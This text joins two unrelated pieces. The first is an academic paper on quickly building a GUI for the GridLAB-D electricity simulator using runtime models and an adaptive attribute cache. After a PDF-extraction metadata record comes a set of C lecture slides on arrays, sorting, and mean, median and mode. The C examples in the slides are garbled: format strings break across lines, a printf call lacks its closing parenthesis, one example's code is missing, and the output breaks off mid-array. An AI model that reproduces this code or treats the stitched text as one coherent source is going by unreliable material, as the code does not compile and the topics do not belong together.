Graphical User Interface (GUI) is an important feature of software systems, providing an intuitive way for users to understand the output or running status of the target system, and helping users effectively interacting with the system. However, there are still many legacy software systems that do not provide user interfaces, especially the ones that target technical users. Take our own story as an example. In our research lab, a number of people are doing research on smart electricity grids, and they use a popular electricity simulation tool named GridLAB-D to simulate the experimental residential or local grid networks. A typical residential system simulated by GridLAB-D could be a house constituted by meters, heating systems, water heaters, etc. GridLAB-D does not provide a GUI in the current version. The only way to get the current status of the simulated systems is to read the rolling text on the terminal about the update of element states. Similarly, when you want to change the state of any element at runtime, the only way is to launch a command in the form of a HTTP query. This text and command-based interaction is frustrating when there are a big number of elements simulated in the system. Therefore, a proper GUI for GridLAB-D is needed.
In general, GUIs are usually required to be highly flexible. On one hand, a system itself often evolves, and thus the GUI should adapt accordingly to support the new data or functions. On the other hand, for the same system, users from different perspectives may require different GUIs, presenting systems in different ways or supporting different functions. Here, GridLAB-D represents an extreme exemplar. As a simulation framework, GridLAB-D supports the simulation of a wide range of systems, from low-voltage residential appliances to high-voltage national electricity distribution networks. Different systems have different kinds of elements to visualize in the GUI, and the elements have different states and relations. For the same residential system simulated by GridLAB-D, if the users focus on the internal environment of the house, then the GUI should represent the appliance elements in a virtual house; Alternatively, if the users focus on the electricity current between the appliances and their consumptions, then the GUI should represent the abstract topology and electricity lines between appliances.
Such flexibility means that the development of a GUI cannot be done only once, but has to be ready for customization and evolution. In other words, the development of GUIs should be a rapid or agile process: Developers could start from a small prototype, and incrementally add features or tune appearance based on discussion with end users.
In this paper, we report a rapid GUI development approach based on runtime model technology. The basic idea is to first represent the runtime system data that is useful for the GUI as a structural and dynamic model, and then use...
the model-based visualization techniques to represent this runtime model. With the help of our runtime model construction framework SM@RT [9, 8], and the Eclipse model visualization framework GMF\(^1\), it is possible to achieve a rapid process: Developers only need to provide three models to specify the types of the runtime data, the system management capabilities to retrieve and update these data, and the graphical representation of the data. From these specifications, the frameworks automatically generate a GUI in the form of an Eclipse plugin.
A main challenge to use runtime models for GUIs is how to efficiently maintain the causal connection between the system and the model. The GUI users require that all the displayed data are synchronized to the system state on time, and in the same time do not like the synchronization to cause much delay. This is hard to achieve because of the big scale of system data and the time-consuming API invocations to get and set the data. To meet this challenge, we propose and implement an on-demand cache-based causal connection maintenance mechanism for the runtime models.
The contribution of this paper can be summarized as follows. First, we discuss the role of runtime models in the development process of a specific type of software that needs to graphically represent the ever-changing state of the real world or the underlying systems, such as the GUIs. Specifically, a runtime model captures the intermediate data representation as a standard and dynamic model, and enable the traditional graphical modeling tools to be used as interactive GUIs for the underlying systems. Second, we reveal one of the main challenges for runtime models in such usage, i.e., efficient synchronization between the system and the model, and provide a simple solution from the perspective of causal connection maintenance.
The rest of this paper is organized as follows. Section 2 describes the requirement of GridLAB-D GUI and its development process. Section 3 presents the construction of runtime models. Section 4 describes how to visualize the runtime models to form the GUI, and how to meet the challenge of causal connection for GUI purpose. Section 5 evaluates the approach on its usages and the development process of the final GUIs. Section 6 discusses the related approaches and Section 7 concludes the paper.
2. APPROACH OVERVIEW
In this section, we describe the GUI development example that will be used across this paper, and briefly summarize the development process for this GUI.
2.1 The GUI for GridLAB-D
GridLAB-D is an open source simulation framework for electricity systems. It simulates electricity-related elements, such as generator, transformer, appliance, etc., as C++ objects. Each object has a set of attributes, and their values describe the current state of the object. The simulation core manages these objects at runtime and controls their attribute values according to inner constraints in order to simulate the physical world. GridLAB-D provides a set of default classes to define the types of objects, their attributes, and the constraints of and between attributes. The users launch the simulation by instantiating objects from these classes, with initial attribute values.
\[^1\]http://www.eclipse.org/modeling/gmp/

GridLAB-D provides a real-time mode for interactive simulation. It provides an HTTP-based API to launch reading and writing commands to all the attributes. But until the latest version (v2.2), GridLAB-D does not provide a GUI. All the interaction should be done through text outputs and manual commands. In order to test and represent the simulation in an intuitive way, our colleagues put forward the need of a GUI as follows. The GUI should represent the selected objects, their key attribute values, and the connections between them in a graphical view, intuitively reflecting the current simulation state. From the overall view, users should be able to select specific elements and see their inner structures or attributes in a separate view. The elements and the attribute values should be synchronized to the system, and users should be able to change them via the GUI.
Based on the basic requirement, there are also a number of detailed ones related to what objects or attributes should be selected, how to draw the specific class of objects, whether to display a given attribute on the main editor or the property view, how to deal with the object hierarchy (on the same editor, or nested editors), etc. However, these detailed requirements are different from user to user, depending on the scenarios they want to simulate. Based on the difference, and also on the difficulty to elicit the exact requirement from the users, a rapid development is most suitable.
2.2 The development process
Based on the runtime model technology, we adopt a rapid, generation-based approach for the GUI development. Figure 1 illustrates this development process.
The artifacts in this development process are three high-level specifications: The domain model specifies what types of system data will be visualized in the GUI, the API model describes how to retrieve and update these data, and the graph model defines how to visualize each type of data in the GUI. These three artifacts are in the forms of the Ecore meta-model, the access model defined in SM@RT, and the graphical and mapping models defined by GMF, respectively. From these artifacts, the SM@RT and the GMF generators automatically generate the runtime model engine and the visualization engine. The former maintains a runtime model in the form of a set of EMF elements conforming to the domain model. The runtime model has a causal connection with the state of the target system (in our example, the objects and their attribute values in the GridLAB-D simulator), and this causal connection is maintained by the engine by invoking the get and set methods in the system’s man-
agement API. Based on this dynamic runtime model, the visualization engine maintains a graphical representation for each model element, and provides the auxiliary operations for reading and writing them.
The runtime model plays the role as an intermediate representation between the system data and the GUI. It enables the usage of a model-based visualization tool such as GMF in GUI development, from the following three aspects. First, it shields the low-level HTTP commands for the getting and setting of the system data, and organizes the data in a standard form as EMF models, which is accepted by GMF. Second, it organizes the raw data in software concepts (such as classes, interfaces, variable values, etc.) into the domain-specific, real world concepts (such as houses, applicants, meters, etc.), so that the content can be directly presented in the GUI. Third, the model is dynamically and bidirectionally synchronized with the system state, and thus the visualization of this model can be used for runtime system monitoring and reconfiguration.
As illustrated by the right part of the figure, the development is constituted by infinite loops. Each loop starts from defining or revising the data types in the domain model. Following the revision on the domain model, the new API invocations are defined in the API model, and the graph model is changed to introduce new graphical strategy. From the new artifacts, the framework automatically generates the engines to support the GUI at runtime. In each loop, all the development effort is with abstract, model-level artifacts. After each loop, there is a runnable GUI for use, display, or discussion purpose.
There are two major issues related to such a rapid development process. The first issue is how to provide an abstract way to specify management API, and how to automatically generate the engines to synchronize the model and the system state. We utilize a general purpose runtime model construction framework named Sm@rt [9, 8] on this. The second issue is how to visualize the model and make the visualization suit the GUI purpose. Specifically, because of the huge data scale, the time-consuming data access, and the various frequency between the GUI updates and the system changes, it is hard to synchronize the system and runtime model both efficiently and in a timely manner. To address this, we introduce a new caching technique into the Sm@rt framework, specifically targeting the use of runtime models for GUI purposes. We present how we address these two issues in the following two sections, respectively.
3. CONSTRUCTING RUNTIME MODELS
In a previous paper, we introduced a meta-modeling framework for runtime models named Sm@rt (Supporting Model at Run-Time). The framework has three basic components, as shown in the left part of Figure 1. The language helps developers describe the types of system data and the access of system API for reading and writing the data. From the specification, the generation engine automatically generates the runtime engine that represents the system’s runtime data as a set of dynamic model elements, and maintains the causal connection between the system and the model. A new version of this framework is implemented on Xtext2, with a text-based modeling language for specifying API access, and a generation engine to the pure Java code.

```java
1 invocation GetState{
2 operation get SimuElement->* {
3 feature.EType.name = 'Double'
4 }
5 invoke returning String {
6 val url = new URL("http://localhost:10001/" +
7 element.name + "/" + feature.name);
8 connection.setRequestMethod("GET");
9 val in = ... /get a BufferedReader
10 var s : String
11 while ((s = in.readLine()) != null)
12 if(s.contains('value'))
13 return value /skip string parsing
14 }
15 post (Double d) {current.eSet(feature,d) }
16 }
```

Figures 2 and 3 illustrate the input specifications for GridLAB-D. Figure 2 is the meta-model that defines three basic data types we want to visualize in the GUI: a root class Grid, and two element classes House and Water Heater for the simulated residential elements with the same names. Each simulated element class has a `name` attribute, and several other attributes to describe its simulation states. Figure 3 shows an excerpt of the access model, describing how to retrieve the attribute value through the web-based API provided by GridLAB-D. The `invocationGetState` block defines a code snippet for the API access that has a specific function for data retrieval or update. The `operation` block (Lines 2-5) specifies the scope of this snippet, i.e., any attribute of the SimuElement class or its subclasses. The subsequent `invoke` block defines the concrete code snippet: We first create a URL with the element name and the attribute name, and then send an HTTP GET request to this URL to get the XML format string. Finally, we parse the string to retrieve the attribute value. The return value of this snippet is of type `String`, which is converted to `Double` and used by the `post` block to update the attribute.
From these specifications, the Sm@rt framework automatically generates the runtime engine that maintains a set of instances of the classes defined in the meta-model. As standard EMF model elements, these instances form the runtime model of the simulated system under GridLAB-D. External model users read and write the model through standard EMF operations, such as get, set, insert, etc. The engine maintains the causal connection between the model and system through the generated aspect code that intercepts the model operations, and synchronizes the target at-
tributes. For example, if the user reads the attribute `air-temperature` on an `House` element, the engine will intercept this operation, and invoke the system according to the template code snippet defined in Figure 3, and return the value. The propagation is based on a set of synchronization strategies hard coded in the common runtime engine [9, 8].
4. CONSTRUCTING THE GUI
4.1 GMF and model visualization
We use the Eclipse Graphical Modeling Framework (GMF) to visualize the runtime model. GMF is a generative framework, which generates a graphical model editor in Eclipse (as shown in Figure 1), where each model element is represented by a shape (such as a rectangle, an ellipse, or a icon), and their relations are drawn as connection lines. The values of key attributes will be displayed together with the shapes, and other attributes are represented separately by a default property view. GMF also provides a set of auxiliary functions along with the visualization, such as the main and context manuals, sidebars, and automated layout, etc.
We provide two inputs for GMF to yield this GUI as above. The first input is the same meta-model in Figure 2, describing the types of elements in the runtime model. The second input is the graph model that defines how each type of model should be drawn in the graphical editor. In our example, we assign each class in the meta-model with an svg-format image file that indicates the intuitive meaning of the elements in the physical domain, and specify the key attributes to be drawn on the main editor.
From the two inputs, GMF generates the visualization engine to support the graphical representation of the model. The working principle of this engine can be roughly described as follows. When the main editor is opened, the engine first obtains the `elem` child list from the root `Grid` element, and draws the shape for each of these elements. For the attribute values that need to be drawn along with the shapes, the engines also obtains their values in this stage. After the initialization, the GMF runtime engine will automatically refresh the elements and the key attributes if the main editor is re-painted, and refresh the detailed attributes only if the element of these attributes is selected and the property view is active. To keep the GUI fresh, we also make the engine refresh the main editor and the property view regularly (every 1 to 10 seconds, depending on the requirement of different versions).
GMF was originally used to provide graphical editors for static models, and thus is designed based on the assumption that the underlying models will not change unless users explicitly change them through the editor, and thus the reading of models is not time-consuming. However, the runtime models do not satisfy these assumptions. The system state is changing all the time, and thus if the runtime model is not synchronized with the system on time, the GUI user will not get the correct representation of the system. However, since the invocation of GridLAB-D’s HTTP-based API is time consuming, and the runtime model usually contains a lot of elements and attributes, synchronizing the model and the system frequently and entirely is not tolerable. Considering the fact that the GUI usually just represents a small part of the system state at the same time, and the GMF-generated engine will not read the inactive part of the model, we choose an on-demand way to maintain the causal connection between the model and the system. That means the runtime model engine synchronizes the model and the system only when the visualization engine invokes the model reading methods, and it only synchronizes the parts mentioned by the invocations. Such on-demand synchronization is also the default mechanism by Sm@rt.
However, the purely on-demand synchronization mechanism means that every time the visualization engine retrieves a value from the model, the runtime model engines has to synchronize this value with the system. When the model reading operations are intensive, the synchronization may cause long response time on the GUI. For example, if a class has many attributes (nearly 200 ones for an extreme example GridLAB-D GUI), then when an element of this class is selected all the attributes have to be synchronized. To make it worse, due to the rendering policy of the GMF-generated property view, the visualization will retrieve each attribute three times before finally displaying the view. This can cause 10-second latency before the view is refreshed. Since many system attributes do not change so frequently, it is not necessary to update every time for every attribute. Therefore, we introduce a caching mechanism into the causal connection maintenance of runtime models to avoid unnecessary refreshment of system states.
4.2 Caching the runtime models
We introduce a caching mechanism to enhance the existing on-demand synchronization. The basic idea is to give a cached value and an expiration time for each attribute in the runtime model. After the attribute value is synchronized with the system state, subsequent reading operations to the attribute before the expiration time will be ignored. Since different attributes in the system have different changing frequencies, we support a diverse and dynamic window for expiration. We give different windows for the attributes, and keep tuning them by randomly inspecting the cache.
Algorithm 1 specifies how this caching mechanism works. When an external user, such as the visualization engine, reads an attribute on the model, instead of directly synchronizing it with the system, we first check if the previously synchronized value is expired. If it is not expired, we give a 95% possibility to directly return the cached value synchronized before, and the other 5% possibility to still synchronize in order to check if the window length is proper. Specifically,
Algorithm 1: Caching algorithm for attributes
<table>
<thead>
<tr>
<th>Input</th>
<th>The attribute attr accessed by the model user</th>
</tr>
</thead>
<tbody>
<tr>
<td>Output</td>
<td>The property value returned</td>
</tr>
<tr>
<td>Global</td>
<td>The auxiliary mapping for all properties:</td>
</tr>
<tr>
<td></td>
<td>cache, expiry, and window</td>
</tr>
</tbody>
</table>
1. curr ← currentTime()
2. if t < expiry(attr) then
3. if under 95% possibility then
4. return cache(attr)
5. else
6. value ← SynchronizedFromTheSystem(attr)
7. if value = cache(attr) then
8. expiry(attr) ← curr + window
9. else
10. cache(attr) ← value
11. window(attr) ← max(window(attr) * 0.5, 0.1s)
12. return value
13. else
14. value ← SynchronizedFromTheSystem(attr)
15. if value = cache(attr) then
16. window(attr) ← min(window(attr) * 1.25, 10s)
17. expiry(attr) ← curr + window
18. cache(attr) ← value
19. return value
if the retrieved system value does not equal to the cached value, then that means the system value may change more quickly than indicated by the current window time, and we decrease the window. Alternatively, if the previous value is expired, we first get the new value from the system, refresh the cache, and reset the expiry time. If the system value is still equal to the cached one, then that means the current window time is apparently not long enough, and we increase it. Note that the increasing and decreasing steps are not symmetric (0.5 vs 1.25). We decrease the window more quickly to achieve more accuracy. We initialize all the windows as 1s, which is the common frequency as the the main editor updates. We give a lower limit for window values as 0.1s, to avoid the repeated updates caused by the automated rendering algorithm of GMF. We also give an upper limit as 10s, so that the transition of an attribute from long-term inactive to active will affect the synchronization frequency quickly enough. These parameters are assigned based on GUI usage style.
We implement this caching mechanism on the SM@RT framework. The three global maps are automatically generated and inserted into the runtime model engine, and the above algorithm is embedded into the aspect code for each attribute reading methods.
5. EVALUATION
5.1 The GridLAB-D GUI
We implement a series of GUIs for GridLAB-D simulators. All these GUIs have the similar appearance as the one shown in Figure 4.1. Different versions of the GUI have different types of elements to display, and the different key or detailed attributes. Among them, the trunk version supports all the 80 classes defined by the GridLAB-D modules, and 1731 attributes in total for these classes. The biggest class has 146 attributes shown in the property view. These versions have been used by members in our research group for different purposes, such as monitoring and displaying the runtime effect of the distributed learning-based optimization of residential systems, interactive tuning of the simulation systems of micro-grid, and also for new members to get familiar with GridLAB-D.
We tested the trunk version GUI by a simulator with 78 objects in total. Without hierarchical editors, all the objects are displayed on the same main editor, with totally 137 key attributes. The initialization phase takes 4 seconds in average. We set the refresh interval of the main editor as 2 seconds, and the CPU occupation is around 20% in average on a 1.6Hz Intel Core i5 CPU, 4GB memory laptop computer. For the biggest element with 146 attributes, the property view requires 1.9 seconds in average to refresh. The trunk version is an extreme example. For the common ones with less key attributes and detailed attributes of the same element, the latency is negligible. A rough comparison between the editor and the log file of GridLAB-D showed that less than 6% attributes are not synchronized in the first update after their values are changed in the system, and less than 1% are not properly synchronized after more than 2 successive updates. According to the users, the current response time and accuracy are tolerable. This result shows that the cache mechanism in works well for the GUI purpose.
5.2 The rapid development process
We develop these versions of the GUIs in a rapid and interactive way. The development process is constituted by many loops. After each loop, there is a runnable version of the GUI that has explicit difference from the previous one. Some typical and representative versions are listed as follows. 1) The initial demonstration is the one shown in Section 3 and 4, with three element types and five properties. In the graphical editor, all the elements are represented as simple rectangles. 2) The residential complete version supports all the classes defined in the residential module shipped with GridLAB-D, and is used on an existing residential simulation. 3) The decorated residential uses intuitive icons instead of simple rectangles to represent the elements of the residential elements. 4) The complete version covers all the classes defined in the default modules. 5) The hierarchical editors covers the classes in the residential and the transformation modules, and support “zoom-in” to see the details of a house in detail. 6) The residential monitoring board covering routine elements such as houses, meters and appliances, and with the physical states displayed on the main editor, such as temperature, water level, etc. Currently there are four versions (3-6) being used in the group, with many minor versions between these milestone ones.
We regard the development process as a rapid one mainly based on the following two reasons. First, the whole development effort was small. There was only one author of this paper in charge of the actual development of all these GUI versions, and he was not familiar with neither GMF nor SM@RT frameworks before. Another author participated in the design and provides technical support on the two frameworks. It only took six weeks so far to achieve the four versions in use. Until now, all the development activities were around the three high level specifications as described...
in Figure 1, without any manual modification on the generated code. Moreover, most part of the specification files were automatically generated: We wrote a python script to generate the meta-model from the module definitions of GridLAB-D, and used the standard GMF wizard to generate the initial version of the graph specification from the domain model. Second, each loop was finished very quickly. Some very short loops only took a few minutes, and the longest one takes no more than a week. Most of the loops only involved the modifications on one artifact, such as changing the metamodel to include new types or attributes, or changing the graph model to tune the graph representation.
6. RELATED WORKS
Runtime models are widely investigated and utilized nowadays[1]. As a dynamic and abstract representation of the system structure or behavior, a runtime model helps the system’s management agents understand the runtime phenomena and control the system configuration, and are widely used to support automated management agents, such as the self-adaptation or self-organization engines. For example, Vogel et al. uses model transformation on runtime models for the self-adaptation of JavaEE systems [10]. Morin et al. leverages aspect-oriented modeling to achieve runtime model-based automated reconfiguration [7]. This paper illustrates a new way to use the runtime models, as the model-based intermediate data representation of system state for GUIs. In this way, the runtime models are used by human users, rather than automated management agents.
Data visualization is widely used on statistical information [2] and software artifacts [4]. A common approach towards data visualization is to first construct an abstract model of the raw data, and then give the graphical representation of the abstract model. In this paper, we choose the ever-changing and externally editable system state as the target for visualization, and show that the runtime models can be used as a bridge between such data and the visualized view. The work is related to the existing approaches to use modeling and meta-modeling technologies for the development of GUIs [5] and the visual language editors [3]. Instead of directly generate the whole GUI or editor code from the high-level specifications, we use runtime models as an explicit intermediate representation, separating the concerns between the system data and the graphical strategies.
Model-driven engineering is widely used to implement the rapid development of GUIs. Melia et al. [6] extends the existing web design model to support the structure modeling of rich internet application, and use the model to generation GUIs based on Google Web Toolkit. These approaches focus on the representation layer of GUIs, and thus they assume the underlying system data to conform specific formats. In this paper, we target the legacy systems with arbitrary data formats, and use runtime models to organize the data into standard format that can be directly used for visualization.
7. CONCLUSION
In this paper, we report our experience on utilizing runtime models to develop the GUI for the GridLAB-D simulation system. We discuss the role of runtime models as an intermediate representation of the running system state, in software that needs to change its appearance according to system changes. We show that with the help of existing runtime model construction and model visualization frameworks, it is possible to achieve a rapid development process based on high-level specification and automated generation. We also enhance the causal connection maintenance mechanism to suit the usage of runtime models for GUIs.
One direction of our future work is to extend the GUI support from simply graphical model editors to the general purpose GUI concepts such as menus, widgets, windows, etc. We will investigate the combination of runtime models with the existing EMF-based GUI representation approach such as Eclipse E4\(^3\) and Wazaabi\(^4\), as well as the connection between runtime model elements to the components in different GUI frameworks such as SWT, Android, etc.
The current work can be also regarded as the rapid visualization of the runtime data of simulation systems. We will investigate how to generalize this idea and the implementation to the large scale runtime data of Internet of Things or other sensor-based systems.
Acknowledgment
This work was supported, in part, by Science Foundation Ireland grant 10/CE/I1855 to Lero - the Irish Software Engineering Research Centre (www.lero.ie).
8. REFERENCES
\(^3\)http://www.eclipse.org/e4/
\(^4\)http://wazaabi.org/
|
{"Source-Url": "https://ulir.ul.ie/bitstream/handle/10344/2924/Song_2012_rapid.pdf?sequence=2", "len_cl100k_base": 6676, "olmocr-version": "0.1.50", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 19363, "total-output-tokens": 7534, "length": "2e12", "weborganizer": {"__label__adult": 0.0002646446228027344, "__label__art_design": 0.0003173351287841797, "__label__crime_law": 0.00019371509552001953, "__label__education_jobs": 0.0005888938903808594, "__label__entertainment": 4.547834396362305e-05, "__label__fashion_beauty": 0.0001226663589477539, "__label__finance_business": 0.00016891956329345703, "__label__food_dining": 0.0002359151840209961, "__label__games": 0.0003879070281982422, "__label__hardware": 0.0008883476257324219, "__label__health": 0.00029969215393066406, "__label__history": 0.00021457672119140625, "__label__home_hobbies": 6.395578384399414e-05, "__label__industrial": 0.00034356117248535156, "__label__literature": 0.00015366077423095703, "__label__politics": 0.00016772747039794922, "__label__religion": 0.0003273487091064453, "__label__science_tech": 0.01287841796875, "__label__social_life": 5.555152893066406e-05, "__label__software": 0.00548553466796875, "__label__software_dev": 0.97607421875, "__label__sports_fitness": 0.00020706653594970703, "__label__transportation": 0.00040268898010253906, "__label__travel": 0.0001684427261352539}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 34862, 0.04465]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 34862, 0.34247]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 34862, 0.89925]], "google_gemma-3-12b-it_contains_pii": [[0, 4849, false], [4849, 10840, null], [10840, 16639, null], [16639, 22546, null], [22546, 28669, null], [28669, 34862, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4849, true], [4849, 10840, null], [10840, 16639, null], [16639, 22546, null], [22546, 28669, null], [28669, 34862, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 34862, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 34862, null]], "pdf_page_numbers": [[0, 4849, 1], [4849, 10840, 2], [10840, 16639, 3], [16639, 22546, 4], [22546, 28669, 5], [28669, 34862, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 34862, 0.03876]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
4eaf98acac144d8f1a77a9753113a0065b7aa7af
|
Chapter 6
Arrays
Associate Prof. Yuh-Shyan Chen
Dept. of Computer Science and Information Engineering
National Chung-Cheng University
Outline
6.1 Introduction
6.2 Arrays
6.3 Declaring Arrays
6.4 Examples Using Arrays
6.5 Passing Arrays to Functions
6.6 Sorting Arrays
6.7 Case Study: Computing Mean, Median and Mode Using Arrays
6.8 Searching Arrays
6.9 Multiple-Subscripted Arrays
6.1 Introduction
- Arrays
- Structures of related data items
- Static entity - same size throughout program
- Dynamic data structures discussed in Chapter 12
6.2 Arrays
- Array
- Group of consecutive memory locations
- Same name and type
- To refer to an element, specify
- Array name
- Position number
- Format: `arrayname[position number]`
- First element at position 0
- An element array named c: `c[0], c[1]...c[n-1]`
6.2 Arrays (II)
- Array elements are like normal variables
\[ c[0] = 3; \]
\[ \text{printf( "%d", c[0] );} \]
- Perform operations in subscript. If \( x = 3 \),
6.3 Declaring Arrays
- When declaring arrays, specify
- Name
- Type of array
- Number of elements
\[ \text{arrayType arrayName[ numberOfElements ];} \]
\[ \text{int c[10];} \]
\[ \text{float myArray[3284];} \]
- Declaring multiple arrays of same type
- Format similar to regular variables
\[ \text{int b[100], x[27];} \]
6.4 Examples Using Arrays
- Initializers
\[ \text{int n[5] = \{1, 2, 3, 4, 5\};} \]
- If not enough initializers, rightmost elements become 0
- If too many, syntax error
\[ \text{int n[5] = \{0\};} \]
- C arrays have no bounds checking
- If size omitted, initializers determine it
\[ \text{int n[]} = \{1, 2, 3, 4, 5\}; \]
- 5 initializers, therefore 5 element array
---
```c
/* Fig. 6.8: fig06_08.c */
/* Histogram printing program */
/* Function Header */
/* Function main */
int main()
{
int n[SIZE] = {19, 3, 15, 7, 11, 9, 13, 5, 17, 1};
printf( "%s%13s%17s
", "Element", "Value", "Histogram");
printf( "%7d%13d
", i, n[i] );
for ( j = 1; j <= n[i]; j++ ) /* print one bar */
printf( "%c", '*' );
printf( "\n" );
return 0;
}
```
### 6.4 Examples Using Arrays (II)
- **Character arrays**
- String "hello" is really a static array of characters
- Character arrays can be initialized using string literals
```c
char string1[] = "first";
char string1[] = ( 'f', 'i', 'r', 's', 't', '\0' );
```
- null character \'\0\' terminates strings
- string1 actually has 6 elements
---
### 6.4 Examples Using Arrays (III)
- **Character arrays (continued)**
- Access individual characters
- `string1[3]` is character 's'
- Array name is address of array, so & not needed for `scanf`
```c
scanf( "%s", string2 );
```
- Reads characters until whitespace encountered
- Can write beyond end of array, be careful
---
Here is the code snippet:
```c
#include <stdio.h>
int main()
{
char string1[20], string2[20] = "string literal";
int i;
printf(" Enter a string: ");
scanf( "%s", string1 );
printf("string1 is: %s
string2: is %s
string1 with spaces between characters is:", string1, string2);
for ( i = 0; string1[ i ] != '\0'; i++ )
printf( "%c ", string1[ i ] );
printf( "\n" );
return 0;
}
```
**Enter a string: Hello there**
```
string1 is: Hello
string2: is string literal
string1 with spaces between characters is: H e l l o
```
6.5 Passing Arrays to Functions
- **Passing arrays**
- Specify array name without brackets
```c
int myArray[24];
myFunction(myArray, 24);
```
- Array size usually passed to function
- **Arrays passed call-by-reference**
- **Name of array is address of first element**
- **Function knows where the array is stored**
- **Modifies original memory locations**
---
6.5 Passing Arrays to Functions (II)
- **Function prototype**
```c
void modifyArray(int b[], int arraySize);
```
- **Parameter names optional in prototype**
```c
int b[] could be simply int []
int arraySize could be simply int
```
---
6.5 Passing Arrays to Functions
- **Passing array elements**
- Passed by call-by-value
- Pass subscripted name (i.e., `myArray[3]`) to function
### 3.1 Function definitions
```c
void modifyArray( int b[], int size )
{
int j;
for ( j = 0; j <= size - 1; j++ )
b[ j ] *= 2;
}
void modifyElement( int e )
{
printf( "Value in modifyElement is %d\n", e *= 2 );
}
```
**Effects of passing entire array call by reference:**
- The values of the original array are:
- 0 1 2 3 4
- The values of the modified array are:
- 0 2 4 6 8
**Effects of passing array element call by value:**
- The value of `a[3]` is 6
- Value in `modifyElement` is 12
- The value of `a[3]` is 6
### 6.7 Case Study: Computing Mean, Median and Mode Using Arrays
- **Mean** - average
- **Median** - number in middle of sorted list
- 1, 2, 3, 4, 5
- 3 is the median
- **Mode** - number that occurs most often
- 1, 1, 1, 2, 3, 4, 5
- 1 is the mode
```c
#include <stdio.h>
define SIZE 99
void mean( const int answer[] );
void median( int answer[] );
void mode( int answer[], const int frequency[] );
void bubbleSort( int answer[] );
void printArray( const int answer[] );
int main()
{
int frequency[ 10 ] = { 0 };
int response[ SIZE ] =
{ 6, 7, 8, 9, 8, 7, 8, 9, 8, 9,
7, 8, 9, 5, 9, 8, 7, 8, 7, 8,
6, 7, 8, 9, 3, 9, 8, 7, 8, 7,
7, 8, 9, 8, 9, 8, 9, 7, 8, 9,
6, 7, 8, 7, 8, 7, 9, 8, 9, 2,
7, 8, 9, 8, 9, 8, 9, 7, 5, 3,
5, 6, 7, 2, 5, 3, 9, 4, 6, 4,
7, 8, 9, 6, 8, 7, 8, 9, 7, 8,
7, 4, 4, 2, 5, 3, 8, 7, 5, 6,
4, 5, 6, 1, 6, 5, 7, 8, 7 };
mean( response );
median( response );
mode( frequency, response );
return 0;
}
void mean( const int answer[] )
{
int j, total = 0;
printf( "%s\n%s\n%s\n%s\n", "********", " Mean", "********", "\n" );
for ( j = 0; j <= SIZE - 1; j++ )
total += answer[ j ];
printf( "The mean is the average value of the data\nitems. The mean is equal to the total of\nall the data items divided by the number\nof data items ( %d ). The mean value for\nthis run is: %d / %d = %.4f\n\n", SIZE, total, SIZE, ( double ) total / SIZE );
}
void median( int answer[] )
{
printf( "\n%s\n%s\n%s\n%s\n", "********", " Median", "********", "\n" );
printArray( answer );
bubbleSort( answer );
printArray( answer );
printf( "The median is element %d of\nthe sorted %d element array.\nFor this run the median is %d\n\n", SIZE / 2, SIZE, answer[ SIZE / 2 ];
}
```
void mode( int freq[], const int answer[] )
{
int rating, j, h, largest = 0, modeValue = 0;
printf( "********
Mode
********" );
for ( rating = 1; rating <= 9; rating++ )
freq[ rating ] = 0;
for ( j = 0; j <= SIZE - 1; j++ )
++freq[ answer[ j ] ];
printf( "%s%11s%19s
%54s
%54s
", "Response", "Frequency", "Histogram",
1 "1 1 2 2", "5 0 5 0 5" );
for ( rating = 1; rating <= 9; rating++ )
{
printf( "%8d%11d ", rating, freq[ rating ] );
if ( freq[ rating ] > largest ) {
largest = freq[ rating ];
modeValue = rating;
}
for ( h = 1; h <= freq[ rating ]; h++ )
printf( "*" );
}
printf( "The mode is the most frequent value.
" For this run the mode is %d which occurred %d times.
", modeValue, largest );
}
void bubbleSort( int a[] )
{
int pass, j, hold;
for ( pass = 1; pass <= SIZE - 1; pass++ )
{
for ( j = 0; j <= SIZE - 2; j++ )
{
if ( a[ j ] > a[ j + 1 ] ) {
hold = a[ j ];
a[ j ] = a[ j + 1 ];
a[ j + 1 ] = hold;
}
}
}
}
void printArray( const int a[] )
{
int j;
for ( j = 0; j <= SIZE - 1; j++ )
{
if ( j % 20 == 0 )
printf( "\n" );
printf( "%2d", a[ j ] );
}
}
********
Mean
********
The mean is the average value of the data items. The mean is equal to the total of all the data items divided by the number of data items (99). The mean value for this run is: 681 / 99 = 6.8788
********
Median
********
The unsorted array of responses is:
7 8 9 8 7 8 9 8 9 7 8 9 5 9 8 7 8 7 8
6 7 8 9 3 9 8 7 8 7 7 8 9 8 9 8 9 7 8 9
6 7 8 7 8 7 9 8 9 2 7 8 9 8 9 8 9 7 8 9
5 6 7 2 5 3 9 4 6 4 7 8 9 6 8 7 8 9 7 8
7 4 4 2 5 3 8 7 5 6 4 5 6 1 6 5 7 8 7
The sorted array is:
1 2 2 2 3 3 3 3 4 4 4 4 4 5 5 5 5 5 5 5
5 6 6 6 6 6 6 6 6 6 7 7 7 7 7 7 7 7 7 7
7 7 7 7 7 7 7 7 7 7 7 7 7 8 8 8 8 8 8 8
8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8
